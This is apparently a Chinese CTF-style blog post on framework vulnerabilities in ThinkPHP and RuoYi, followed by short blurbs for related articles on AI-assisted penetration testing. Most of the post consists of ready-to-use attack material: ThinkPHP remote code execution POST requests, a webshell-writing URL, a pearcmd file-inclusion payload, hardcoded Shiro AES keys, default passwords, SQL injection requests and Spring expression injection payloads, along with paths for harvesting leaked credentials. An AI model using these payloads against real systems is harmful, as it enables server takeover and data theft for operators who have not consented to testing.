CTF之框架漏洞——不要以为你省下了功夫"

admin 2026-10-24 01:23:17 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

CTF之框架漏洞——不要以为你省下了功夫

原创

书中自有代码来
书中自有代码来

书中自有代码来

2026年6月8日 22:06
四川

在小说阅读器读本章

去阅读

一、什么是框架漏洞

框架漏洞是指Web应用所依赖的成熟开发框架(如ThinkPHP、Spring Boot、Shiro等)自身存在的设计缺陷、逻辑错误或默认配置不当引发的安全问题,这类漏洞通常不依赖业务代码逻辑,仅因框架版本特性即可被利用,可能导致远程代码执行、敏感信息泄露、权限绕过等严重后果,且因框架复用性极高,一旦出现通用漏洞会影响海量使用该框架的应用,危害范围广、利用成本低。

二、常见框架漏洞

(一)PHP——thinkphp

远程代码执行

  1. 5.0.23-Rce

poc:

POST /index.php?s=captcha HTTP/1.1
Host: node4.buuoj.cn:29957
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

修改最后的id即可执行其他命令

利用工具:bewhale/thinkphp\_gui\_tools: ThinkPHP漏洞综合利用工具

  1. CNVD-2018-24942
版本名 是否可被攻击 攻击条件
5.0.0 否 无
5.0.1 否 无
5.0.2 否 无
5.0.3 否 无
5.0.4 否 无
5.0.5 否 无
5.0.6 否 无
5.0.7 否 无
5.0.8 是 无需开启debug
5.0.9 是 无需开启debug
5.0.10 是 无需开启debug
5.0.11 是 无需开启debug
5.0.12 是 无需开启debug
5.0.13 是 需开启debug
5.0.14 是 需开启debug
5.0.15 是 需开启debug
5.0.16 是 需开启debug
5.0.17 是 需开启debug
5.0.18 是 需开启debug
5.0.19 是 需开启debug
5.0.20 否 无
5.0.21 是 需开启debug
5.0.22 是 需开启debug
5.0.23 是 需开启debug

一句话木马:

http://ip/?s=index/\\think\\template\\driver\\file/write&cacheFile=shell.php&content=%3C?php%20@eval($_POST[pass])?%3E

poc集合:SkyBlueEternal/thinkphp-RCE-POC-Collection: thinkphp v5.x 远程代码执行漏洞-POC集合

任意文件包含

  1. 包含日志-3.2x

该漏洞是在受影响的版本中,业务代码中如果模板赋值方法assign的第一个参数可控,则可导致模板文件路径变量被覆盖为携带攻击代码的文件路径,造成任意文件包含,执行任意代码。

使用请求头修改即可:

X-REAL-HOST: <?php phpinfo();?>
X-REWRITE-URL: <?php phpinfo();?>
X-HTTP-METHOD-OVERRIDE: <?php phpinfo();?>

利用工具:Lotus6/ThinkphpGUI: Thinkphp(GUI)漏洞利用工具

  1. 包含语言QVD-2022-46174

如果 Thinkphp 程序开启了多语言功能,攻击者可以通过 get、header、cookie 等位置传入参数,实现目录穿越+文件包含,通过 pearcmd 文件包含这个 trick 即可实现 RCE。

poc:

?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/+/var/www/html/666.php

(二)JAVA——ruoyi

弱口令

  1. 直接爆破

常见用户名:admin ruoyi druid           常见密码:123456 admin druid admin123 admin888

  1. Shiro默认密钥

该漏洞在ruoyi小于4.6.2时有效

相关文件:ruoyi-admin/src/main/resources/application.yml中的cipherKey字段中硬编码的密钥

利用方法:使用SummerSec/ShiroAttack2: shiro反序列化漏洞综合利用工具(参考shiro反序列化漏洞综合利用工具环境报错问题解决),填入密钥等信息,使用爆破利用工具链来破解。

RuoYi 版本号 对象版本的默认AES密钥
4.6.1-4.3.1 zSyK5Kp6PZAAjlT+eeNMlg==
3.4-及以下 fCq+/xW488hMTCD+cmJ3aQ==

sql注入

该漏洞在4.6.2以下有效

在sql注入成功后,服务器会以报错形式返回查询信息

相关poc集合:

POST /system/role/list HTTP/1.1
Host: 127.0.0.1
Content-Length: 179
sec-ch-ua: \"Chromium\";v=\"109\", \"Not_A Brand\";v=\"99\"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
sec-ch-ua-platform: \"Windows\"
Origin: http://127.0.0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1/system/role
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: o0At_2132_saltkey=JW6Gt2hb; o0At_2132_lastvisit=1691240426; o0At_2132_ulastactivity=2db4EUfD9WS50eLvnip%2B9TxK2ZhcO65vPL0dA6sPVF8AQSBMa6Qn; JSESSIONID=cfcf2d1f-f180-46cf-98bb-5eacc4206014
Connection: close

pageSize=&pageNum=&orderByColumn=&isAsc=&roleName=&roleKey=&status=¶ms[beginTime]=¶ms[endTime]=¶ms[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))
POST /system/dept/edit HTTP/1.1
Host: 127.0.0.1
Content-Length: 111
sec-ch-ua: \"Chromium\";v=\"109\", \"Not_A Brand\";v=\"99\"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
sec-ch-ua-platform: \"Windows\"
Origin: http://127.0.0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1/system/role
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: o0At_2132_saltkey=JW6Gt2hb; o0At_2132_lastvisit=1691240426; o0At_2132_ulastactivity=2db4EUfD9WS50eLvnip%2B9TxK2ZhcO65vPL0dA6sPVF8AQSBMa6Qn; JSESSIONID=cfcf2d1f-f180-46cf-98bb-5eacc4206014
Connection: close

DeptName=1&DeptId=100&ParentId=12&Status=0&OrderNum=1&ancestors=0)or(extractvalue(1,concat((select user()))));#
POST /system/role/export HTTP/1.1
Host: 127.0.0.1
Content-Length: 75
sec-ch-ua: \"Chromium\";v=\"109\", \"Not_A Brand\";v=\"99\"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
sec-ch-ua-platform: \"Windows\"
Origin: http://127.0.0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1/system/role
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: o0At_2132_saltkey=JW6Gt2hb; o0At_2132_lastvisit=1691240426; o0At_2132_ulastactivity=2db4EUfD9WS50eLvnip%2B9TxK2ZhcO65vPL0dA6sPVF8AQSBMa6Qn; JSESSIONID=cfcf2d1f-f180-46cf-98bb-5eacc4206014
Connection: close

params[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))

任意文件上传下载

CNVD-2021-01931

该漏洞在4.5.1以下有效

CVE-2023-27025

该漏洞在4.7.6以下有效

  1. 获取管理员cookie
  2. 在/monitor/job/add设置定时绕过白名单的任务
  3. 通过/monitor/job/add执行任务修改配置路径
  4. 使用/common/download/resource?resource=触发漏洞
  5. 这样服务器就只校验上传路径,不再次校验实际路径是否合法

编码绕过

该漏洞在4.7.6以下有效

通过使用url或utf编码可以绕过waf的检测,达到执行特定指令的效果

使用工具:cckuailong/JNDI-Injection-Exploit-Plus

java注入

相关poc:

POST /monitor/cache/getNames HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
sec-ch-ua: \"Chromium\";v=\"123\", \"Not:A-Brand\";v=\"8\"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: \"Windows\"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.58 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1/login
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=b8ab242b-7719-46e1-8332-c8ea389407d2
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 83

cacheName=123&fragment=${T (java.lang.Runtime).getRuntime().exec(“calc.exe”)}
POST /monitor/cache/getKeys HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
sec-ch-ua: \"Chromium\";v=\"123\", \"Not:A-Brand\";v=\"8\"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: \"Windows\"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.58 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1/monitor/cache/getKeys
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=b8ab242b-7719-46e1-8332-c8ea389407d2
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 83

cacheName=123&fragment=${T (java.lang.Runtime).getRuntime().exec(“calc.exe”)}

拼接路径漏洞

常见泄露路径,有则可以使用spring-boot攻击方法利用:

/druid/index.html
/druid/login.html
/prod-api/druid/login.html
/prod-api/druid/index.html
/dev-api/druid/login.html
/dev-api/druid/index.html
/api/druid/login.html
/api/druid/index.html
/admin/druid/login.html
/admin-api/druid/login.html

api文档信息

  1. Druid监控组件:http://ip/baseurl/druid/login.html针对Druid监控组件,可通过访问该路径进行排查,成功登录后应重点审查Session监控与URI监控两个核心模块。在Session监控中,可利用页面泄露的历史登录Session值,通过抓包替换等方式尝试绕过认证直接登录系统;而在URI监控处,则能获取大量系统接口路径,借此可进一步访问并挖掘潜在的敏感信息。
  2. Swagger接口文档:http://ip/baseurl/swagger-ui/
    针对Swagger接口文档,可通过访问该路径查看系统暴露的API结构,并基于接口文档开展下一步测试。当发现接口数量庞大、手动测试效率低下时,建议引入自动化工具(如swagger-hack)对接口进行批量爬取与未授权访问测试,从而高效挖掘潜在的安全漏洞。
  3. Spring Boot Actuator:http://ip/baseurl/actuator
    针对Spring Boot框架的Actuator监控端点,需重点排查该路径下是否存在未授权访问漏洞,尤其是极具危险性的 /actuator/heapdump 路径。该路径可导出JVM运行时的堆内存快照文件,攻击者下载后利用专业分析工具对其进行解析,往往能够从中提取出数据库密码、Token等大量高价值敏感信息。

ai与安全" 网络安全文章

ai与安全"

文档分享了作者在渗透测试中应用AI的实战经验,从最初使用Claude/GPT到转向国产模型DS4、GLM5的过程。核心发现是删除自定义skill后依靠AI原生推理能力反而能挖掘更多非预期漏洞,并通过黑盒场景案例说明AI可拓展攻击面、降低学习门槛。建议采用人工+AI半自动模式,优先从简单对话开始而非复杂工作流,同时强调人的判断在约束和上下文管理中的不可替代性。
一个开源成熟的AI红队测试与渗透测试框架" 网络安全文章

一个开源成熟的AI红队测试与渗透测试框架"

CAI是一个开源AI网络安全框架,集成自主代理、渗透测试工具和CTF自动化功能,支持300多种AI模型与多代理架构。文档强调其可提升AI红队测试透明度,指出当前LLM供应商隐瞒网络安全能力的风险,并为安全工程师提供漏洞挖掘、赏金狩猎等场景的实操资源。
NextAnti一款红队浏览器反蜜罐插件" 网络安全文章

NextAnti一款红队浏览器反蜜罐插件"

NextAnti是一款基于ChromeManifestV3开发的红队浏览器安全扩展,专注于对抗前端蜜罐、浏览器指纹识别和用户行为追踪。该插件通过反侦察、反追踪技术帮助红队人员在信息收集和渗透测试阶段降低浏览器环境暴露风险,支持对抗Canvas/WebGL/Audio指纹采集、WebRTC内网泄露检测等常见检测手段。文档强调了现代企业安全体系已从服务器端延伸至浏览器层面,NextAnti可为攻防演练提供有效的环境隐匿能力。
评论:0   参与:  0